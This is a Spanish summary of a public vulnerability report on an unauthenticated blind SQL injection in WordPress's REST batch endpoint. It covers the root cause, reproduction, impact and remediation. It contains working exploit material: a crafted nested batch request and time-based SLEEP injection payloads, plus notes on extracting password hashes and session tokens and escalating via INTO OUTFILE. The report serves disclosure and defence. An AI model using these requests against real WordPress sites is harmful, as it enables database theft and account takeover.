Reports
CRÍTICA[SQL INJECTION]#3873072

Inyección SQL sin autenticación en WordPress por confusión de rutas en el endpoint batch de la REST API

El endpoint batch de la REST API de WordPress (/wp-json/batch/v1) permitía una inyección SQL ciega sin autenticación encadenando una desincronización en el reparto de subpeticiones con la falta de validación de tipo en author__not_in.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El endpoint de procesamiento por lotes de la REST API de WordPress (/wp-json/batch/v1) era vulnerable a una inyección SQL ciega sin autenticación. Anidando una petición batch cuidadosamente construida, un atacante provocaba una desincronización en el reparto de rutas (route dispatch) que hacía que una cadena controlada por el usuario esquivase el saneamiento de parámetros y llegase sin filtrar a una cláusula SQL NOT IN (...). No hacían falta credenciales, cookies ni tokens de ningún tipo.

El sistema afectado ejecutaba WordPress 7.0. Las versiones corregidas indicadas por el investigador son 7.0.2 o superior, 6.9.5 o superior y 6.8.6 o superior.

Causa raíz

El fallo nace de la combinación de dos defectos que se encadenan:

  1. Desincronización del índice en el reparto por lotes. Cuando la ruta de una subpetición falla al pasar por parse_url(), el resultado de error no se añade al array interno $matches, pero el bucle de reparto incrementa igualmente su índice. El efecto es que la subpetición N acaba ejecutándose con el manejador (handler) registrado para la subpetición N+1.
  1. Falta de comprobación de tipo en author__not_in. WP_Query comprueba if (! empty($q['author__not_in'])) pero no verifica que el valor sea un array. Cuando llega un valor de tipo cadena (a través de la ruta desincronizada), se salta la conversión absint() que debería aplicarse a cada elemento y la cadena se concatena directamente en la consulta SQL:

``sql AND wp_posts.post_author NOT IN ( <controlado por el atacante> ) ``

Al incrustar una segunda capa batch dentro del cuerpo de un POST /wp/v2/categories, las subpeticiones internas se reparten con los manejadores desplazados, de modo que un GET /wp/v2/categories?author_exclude=<SQLI> termina ejecutándose como una consulta de entradas (posts) con la inyección sin filtrar.

Pasos de reproducción

Paso 1 — Identificar la versión

GET /feed/ HTTP/1.1
Host: <objetivo>

La respuesta contenía:

<generator>https://wordpress.org/?v=7.0</generator>

Confirmando WordPress 7.0, una versión afectada.

Paso 2 — Confirmación estructural (no destructiva)

POST /wp-json/batch/v1 HTTP/1.1
Host: <objetivo>
Content-Type: application/json

{"validation":"normal","requests":[
  {"path":":","method":"POST"},
  {"path":"/wp/v2/categories","method":"POST","body":{
    "name":"x","requests":[
      {"path":":","method":"GET"},
      {"path":"/wp/v2/categories?author_exclude=1","method":"GET"},
      {"path":"/wp/v2/posts","method":"GET"}
    ]}},
  {"path":"/batch/v1","method":"POST"}
]}

Respuesta (HTTP 207):

[0] status=400  code=parse_path_failed         ← la ruta inválida ":" provoca la desincronización
[1] status=207  → SOBRE DE BATCH ANIDADO       ← confusión de rutas confirmada
    [0] status=400  code=parse_path_failed
    [1] status=200  → 10 entradas devueltas     ← author__not_in=1 llegó a la base de datos
    [2] status=500  code=rest_invalid_handler
[2] status=400  code=rest_batch_not_allowed

El array "responses" anidado (batch dentro de batch) con los marcadores parse_path_failed demuestra que la desincronización del reparto se produjo. Un servidor parcheado devuelve un sobre plano con rest_cannot_create.

Paso 3 — Confirmación por tiempos (inyección basada en retardo)

Punto de inyección: author_exclude=1) OR SLEEP(N)-- -

Es la misma petición del paso 2, sustituyendo author_exclude=1 por cada uno de los siguientes payloads:

| Payload | Tiempo de respuesta | HTTP | Observaciones | |---|---|---|---| | 1 (línea base) | 0,46 s | 207 | Sin función SQL | | 1) OR SLEEP(0)-- - | 0,49 s | 207 | SQL interpretado, retardo cero | | 1) OR SLEEP(0)-- - (repetición) | 0,54 s | 207 | Línea base consistente | | 1) OR SLEEP(0.01)-- - | 9,12 s | 207 | ~860 filas × 0,01 s | | 1) OR SLEEP(0.3)-- - | >30 s | timeout | ~860 filas × 0,3 s | | 1) OR SLEEP(3)-- - | >60 s | timeout | ~860 filas × 3 s |

La diferencia entre SLEEP(0) (0,5 s) y SLEEP(0.01) (9,1 s) —misma estructura SQL, cambiando solo la constante de retardo— prueba que la función inyectada se ejecuta en el motor MySQL. La multiplicación por fila (~860 entradas coincidentes) confirma que la inyección ocurre dentro de la evaluación del conjunto de resultados de un WP_Query.

El investigador remarca que todas las pruebas fueron no destructivas: detección estructural con un valor benigno (1), oráculo de tiempos con SLEEP y huella de versión a partir de metadatos públicos. No se extrajo contenido de la base de datos ni se accedió a datos personales.

Impacto

Un atacante sin autenticar podía leer cualquier dato accesible por la cuenta de base de datos de WordPress:

  • wp_users: hashes de contraseñas → crackeo offline → toma de control de cuentas de administrador.
  • wp_usermeta: tokens de sesión y contraseñas de aplicación → secuestro directo de sesión.
  • wp_options: claves de API, secretos de plugins y configuración del sitio.
  • En instalaciones donde la cuenta MySQL dispone del privilegio FILE con acceso al webroot, el fallo escala a ejecución remota de código mediante SELECT ... INTO OUTFILE.

Todo ello sin autenticación previa, lo que motivó la calificación de severidad crítica.

Remediación

  1. Actualizar WordPress a la última versión parcheada (7.0.2+ / 6.9.5+ / 6.8.6+).
  2. Como medida provisional, bloquear las peticiones POST sin autenticar a /wp-json/batch/v1 y a /?rest_route=/batch/v1 en el proxy inverso o el WAF.
  3. Auditar y restringir los privilegios de la cuenta MySQL, revocando FILE si lo tuviera concedido.